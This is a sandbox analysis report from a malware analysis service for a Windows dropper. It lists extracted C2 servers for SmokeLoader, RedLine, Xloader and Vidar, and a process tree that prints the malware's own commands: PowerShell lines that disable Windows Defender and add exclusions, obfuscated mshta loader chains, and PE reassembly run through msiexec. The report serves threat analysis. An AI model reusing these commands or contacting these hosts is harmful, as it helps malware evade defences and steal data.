Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

022e3c30a1...66.exe

windows7_x64

10

022e3c30a1...66.exe

windows10_x64

10

4d27dca0a1...ef.exe

windows7_x64

10

4d27dca0a1...ef.exe

windows10_x64

10

578a3a7a2b...b3.exe

windows7_x64

10

578a3a7a2b...b3.exe

windows10_x64

10

9c4880a98c...82.exe

windows7_x64

10

9c4880a98c...82.exe

windows10_x64

10

a1dad4a83d...c4.exe

windows7_x64

10

a1dad4a83d...c4.exe

windows10_x64

10

acf1b7d80f...e0.exe

windows7_x64

10

acf1b7d80f...e0.exe

windows10_x64

10

cbf31d825a...d2.exe

windows7_x64

10

cbf31d825a...d2.exe

windows10_x64

10

db76a117db...12.exe

windows7_x64

10

db76a117db...12.exe

windows10_x64

10

e2ffb8aeeb...f6.exe

windows7_x64

10

e2ffb8aeeb...f6.exe

windows10_x64

10

f2196668f4...cb.exe

windows7_x64

10

f2196668f4...cb.exe

windows10_x64

10

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    44s
  • max time network
    169s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    08/11/2021, 14:48

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe

  • Size

    3.6MB

  • MD5

    9725f7f222530388cb2743504a6e0667

  • SHA1

    56d0eb91855e326b050c904147f4d9dafc596d70

  • SHA256

    9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782

  • SHA512

    ea5aedb3c3ab725c9afc65481ef7b59cdfad80613aaf43a8e76ec94045824269b008007644cb7943e65e98a87650f7f980afcd66ae1dee7807d84be57c018663

Score
10/10
redlinesmokeloadervidarxloader937chrisfucker2s0iwaspackv2backdoorevasioninfostealerloaderratspywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

Chris

C2

194.104.136.5:46013

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Extracted

Family

vidar

Version

47.9

Botnet

937

C2

https://mas.to/@kirpich

Attributes
  • profile_id

    937

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Xloader

    Xloader is a rebranded version of Formbook malware.

    loaderxloader
  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata
  • Vidar Stealer 2 IoCs
    stealer
  • Xloader Payload 1 IoCs
    rat
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 26 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 9 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 10 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 6 IoCs
    evasion
  • Modifies registry class 6 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2532
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
        PID:4652
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
            PID:408
        • C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
          "C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe"
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4492
            • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\setup_install.exe
              "C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\setup_install.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:752
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:432
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1628
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:592
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1816
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed128c2773227671b3f.exe
                4⤵
                  PID:816
                  • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed128c2773227671b3f.exe
                    Wed128c2773227671b3f.exe
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:2160
                    • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed128c2773227671b3f.exe
                      C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed128c2773227671b3f.exe
                      6⤵
                      • Executes dropped EXE
                      PID:3660
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Wed12fb2a5c52f05816.exe
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:912
                  • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12fb2a5c52f05816.exe
                    Wed12fb2a5c52f05816.exe
                    5⤵
                    • Executes dropped EXE
                    PID:2608
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12fb2a5c52f05816.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If """" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12fb2a5c52f05816.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                      6⤵
                        PID:1404
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12fb2a5c52f05816.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "" =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12fb2a5c52f05816.exe" ) do taskkill -F -IM "%~nxE"
                          7⤵
                            PID:3032
                            • C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe
                              VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm
                              8⤵
                              • Executes dropped EXE
                              PID:4480
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vBSCripT:cLOSe ( creaTeoBJeCT ( "wSCrIpT.shell" ).RuN ( "CMd.ExE /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If ""-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm "" =="""" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe"" ) do taskkill -F -IM ""%~nxE"" " ,0 , TRUe ) )
                                9⤵
                                  PID:4512
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" VAKlCUnlQu.exe && STArt VAkLCUnlqU.EXe -PRwIZKFgSE6xyUR7ivEyVbD3Oolfm & If "-PRwIZKFgSE6xyUR7ivEyVbD3Oolfm " =="" for %E in ( "C:\Users\Admin\AppData\Local\Temp\VAKlCUnlQu.exe" ) do taskkill -F -IM "%~nxE"
                                    10⤵
                                      PID:1224
                                  • C:\Windows\SysWOW64\mshta.exe
                                    "C:\Windows\System32\mshta.exe" vBSCrIpt: cLoSE ( CREaTEOBjECt ( "wSCRiPt.shell" ). RUn ( "cmD.exE /c eCHo | SEt /P = ""MZ"" > s4AW._YK & CoPy /B /y s4aW._YK + 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3 ", 0 ,TRuE ) )
                                    9⤵
                                      PID:1248
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c eCHo | SEt /P = "MZ" > s4AW._YK & CoPy /B /y s4aW._YK+ 4kt1N2.SAG + JISYX0.0 CFIfB.3 & DEl 4KT1N2.SAG JiSYX0.0 S4AW._YK& STArt msiexec /y .\CFIFB.3
                                        10⤵
                                          PID:3652
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                            11⤵
                                              PID:5008
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>s4AW._YK"
                                              11⤵
                                                PID:5004
                                              • C:\Windows\SysWOW64\msiexec.exe
                                                msiexec /y .\CFIFB.3
                                                11⤵
                                                  PID:2112
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill -F -IM "Wed12fb2a5c52f05816.exe"
                                            8⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2700
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed1217e6a0ef74ed.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1064
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed1217e6a0ef74ed.exe
                                      Wed1217e6a0ef74ed.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2672
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed126ca6605dbec0399.exe /mixone
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:368
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed126ca6605dbec0399.exe
                                      Wed126ca6605dbec0399.exe /mixone
                                      5⤵
                                      • Executes dropped EXE
                                      PID:1940
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 664
                                        6⤵
                                        • Drops file in Windows directory
                                        • Program crash
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4660
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 704
                                        6⤵
                                        • Program crash
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5064
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 816
                                        6⤵
                                        • Program crash
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3192
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 592
                                        6⤵
                                        • Program crash
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4948
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 888
                                        6⤵
                                        • Program crash
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2916
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 956
                                        6⤵
                                        • Program crash
                                        PID:4496
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 1092
                                        6⤵
                                        • Program crash
                                        PID:4392
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed120b6f5c6d562.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1128
                                    • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed120b6f5c6d562.exe
                                      Wed120b6f5c6d562.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2384
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed12bcd18bdbc441.exe
                                    4⤵
                                      PID:1228
                                      • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12bcd18bdbc441.exe
                                        Wed12bcd18bdbc441.exe
                                        5⤵
                                        • Executes dropped EXE
                                        PID:4128
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Wed12859e3c1cf63b6a0.exe
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:1312
                                      • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12859e3c1cf63b6a0.exe
                                        Wed12859e3c1cf63b6a0.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:2488
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12859e3c1cf63b6a0.exe
                                          C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12859e3c1cf63b6a0.exe
                                          6⤵
                                          • Executes dropped EXE
                                          PID:3688
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12859e3c1cf63b6a0.exe
                                          C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed12859e3c1cf63b6a0.exe
                                          6⤵
                                          • Executes dropped EXE
                                          PID:4864
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Wed1229427acd4bc167.exe
                                      4⤵
                                        PID:1392
                                        • C:\Users\Admin\AppData\Local\Temp\7zSC81FF246\Wed1229427acd4bc167.exe
                                          Wed1229427acd4bc167.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Checks computer location settings
                                          PID:4104
                                          • C:\Users\Admin\Pictures\Adobe Films\rDmp7oq6LYhMw3akO2j7y5cC.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\rDmp7oq6LYhMw3akO2j7y5cC.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:2828
                                          • C:\Users\Admin\Pictures\Adobe Films\Ujq8y6cM8wTtnG_jusqoKIPb.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\Ujq8y6cM8wTtnG_jusqoKIPb.exe"
                                            6⤵
                                              PID:4172
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 1476
                                                7⤵
                                                • Program crash
                                                PID:5252
                                            • C:\Users\Admin\Pictures\Adobe Films\LG0rY3j3wwisvxZsvSdd0sGV.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\LG0rY3j3wwisvxZsvSdd0sGV.exe"
                                              6⤵
                                                PID:3832
                                                • C:\Users\Admin\Pictures\Adobe Films\LG0rY3j3wwisvxZsvSdd0sGV.exe
                                                  "C:\Users\Admin\Pictures\Adobe Films\LG0rY3j3wwisvxZsvSdd0sGV.exe"
                                                  7⤵
                                                    PID:5404
                                                • C:\Users\Admin\Pictures\Adobe Films\Ekury1R01XJ0zO2_H80IKVdv.exe
                                                  "C:\Users\Admin\Pictures\Adobe Films\Ekury1R01XJ0zO2_H80IKVdv.exe"
                                                  6⤵
                                                    PID:1484
                                                  • C:\Users\Admin\Pictures\Adobe Films\JyTPklFeBkDmxZMUIhtynqb7.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\JyTPklFeBkDmxZMUIhtynqb7.exe"
                                                    6⤵
                                                      PID:2956
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im "JyTPklFeBkDmxZMUIhtynqb7.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\JyTPklFeBkDmxZMUIhtynqb7.exe" & exit
                                                        7⤵
                                                          PID:5464
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /im "JyTPklFeBkDmxZMUIhtynqb7.exe" /f
                                                            8⤵
                                                            • Kills process with taskkill
                                                            PID:5744
                                                      • C:\Users\Admin\Pictures\Adobe Films\D9kpiuaxgLs7ky8ca1Jjr0Ox.exe
                                                        "C:\Users\Admin\Pictures\Adobe Films\D9kpiuaxgLs7ky8ca1Jjr0Ox.exe"
                                                        6⤵
                                                          PID:4304
                                                        • C:\Users\Admin\Pictures\Adobe Films\cdSyOxn1C6SMBLQ4TaTTJSCQ.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\cdSyOxn1C6SMBLQ4TaTTJSCQ.exe"
                                                          6⤵
                                                            PID:4956
                                                            • C:\Users\Admin\Documents\JY2SXV3lv_zZ76QiuqW4yQ86.exe
                                                              "C:\Users\Admin\Documents\JY2SXV3lv_zZ76QiuqW4yQ86.exe"
                                                              7⤵
                                                                PID:2340
                                                                • C:\Users\Admin\Pictures\Adobe Films\PAppCUN6Zo6uSnf4IUIxcucx.exe
                                                                  "C:\Users\Admin\Pictures\Adobe Films\PAppCUN6Zo6uSnf4IUIxcucx.exe"
                                                                  8⤵
                                                                    PID:5116
                                                                  • C:\Users\Admin\Pictures\Adobe Films\04XAiSamjuNQsQjrT23NPXLM.exe
                                                                    "C:\Users\Admin\Pictures\Adobe Films\04XAiSamjuNQsQjrT23NPXLM.exe"
                                                                    8⤵
                                                                      PID:5740
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im "04XAiSamjuNQsQjrT23NPXLM.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\04XAiSamjuNQsQjrT23NPXLM.exe" & exit
                                                                        9⤵
                                                                          PID:5364
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /im "04XAiSamjuNQsQjrT23NPXLM.exe" /f
                                                                            10⤵
                                                                            • Kills process with taskkill
                                                                            PID:4192
                                                                      • C:\Users\Admin\Pictures\Adobe Films\qjIG36owOLMV2Dp_zLB5nkgZ.exe
                                                                        "C:\Users\Admin\Pictures\Adobe Films\qjIG36owOLMV2Dp_zLB5nkgZ.exe"
                                                                        8⤵
                                                                          PID:1272
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                                            9⤵
                                                                              PID:4944
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im chrome.exe
                                                                                10⤵
                                                                                • Kills process with taskkill
                                                                                PID:2388
                                                                          • C:\Users\Admin\Pictures\Adobe Films\ssXc9as045vaVTMzLB7PaSFT.exe
                                                                            "C:\Users\Admin\Pictures\Adobe Films\ssXc9as045vaVTMzLB7PaSFT.exe"
                                                                            8⤵
                                                                              PID:5944
                                                                            • C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe
                                                                              "C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe"
                                                                              8⤵
                                                                                PID:5960
                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                  "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                  9⤵
                                                                                    PID:1376
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\dXU3uSGpHZk1tfSBwkHFuK3y.exe" ) do taskkill -f -iM "%~NxM"
                                                                                      10⤵
                                                                                        PID:5916
                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                          taskkill -f -iM "dXU3uSGpHZk1tfSBwkHFuK3y.exe"
                                                                                          11⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:6056
                                                                                        • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                          ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                          11⤵
                                                                                            PID:6064
                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                              12⤵
                                                                                                PID:5620
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                  13⤵
                                                                                                    PID:3636
                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                  "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                  12⤵
                                                                                                    PID:5508
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                      13⤵
                                                                                                        PID:5416
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                          14⤵
                                                                                                            PID:5772
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                            14⤵
                                                                                                              PID:5544
                                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                                              msiexec -Y ..\lXQ2g.WC
                                                                                                              14⤵
                                                                                                                PID:5960
                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\qaMcuyjrhVanZIcMdlpgXzT3.exe
                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\qaMcuyjrhVanZIcMdlpgXzT3.exe"
                                                                                                    8⤵
                                                                                                      PID:5936
                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\ufyIivNv_GO2gRy8GcB96CAm.exe
                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\ufyIivNv_GO2gRy8GcB96CAm.exe"
                                                                                                      8⤵
                                                                                                        PID:5692
                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ufyIivNv_GO2gRy8GcB96CAm.exe
                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ufyIivNv_GO2gRy8GcB96CAm.exe" -u
                                                                                                          9⤵
                                                                                                            PID:5528
                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\VaZP427AMCkBczBbsaBgLqbl.exe
                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\VaZP427AMCkBczBbsaBgLqbl.exe"
                                                                                                          8⤵
                                                                                                            PID:5128
                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                              C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                              9⤵
                                                                                                                PID:5732
                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\S8X2NKZ7jQJm5urBIlMP8GFe.exe
                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\S8X2NKZ7jQJm5urBIlMP8GFe.exe"
                                                                                                              8⤵
                                                                                                                PID:3504
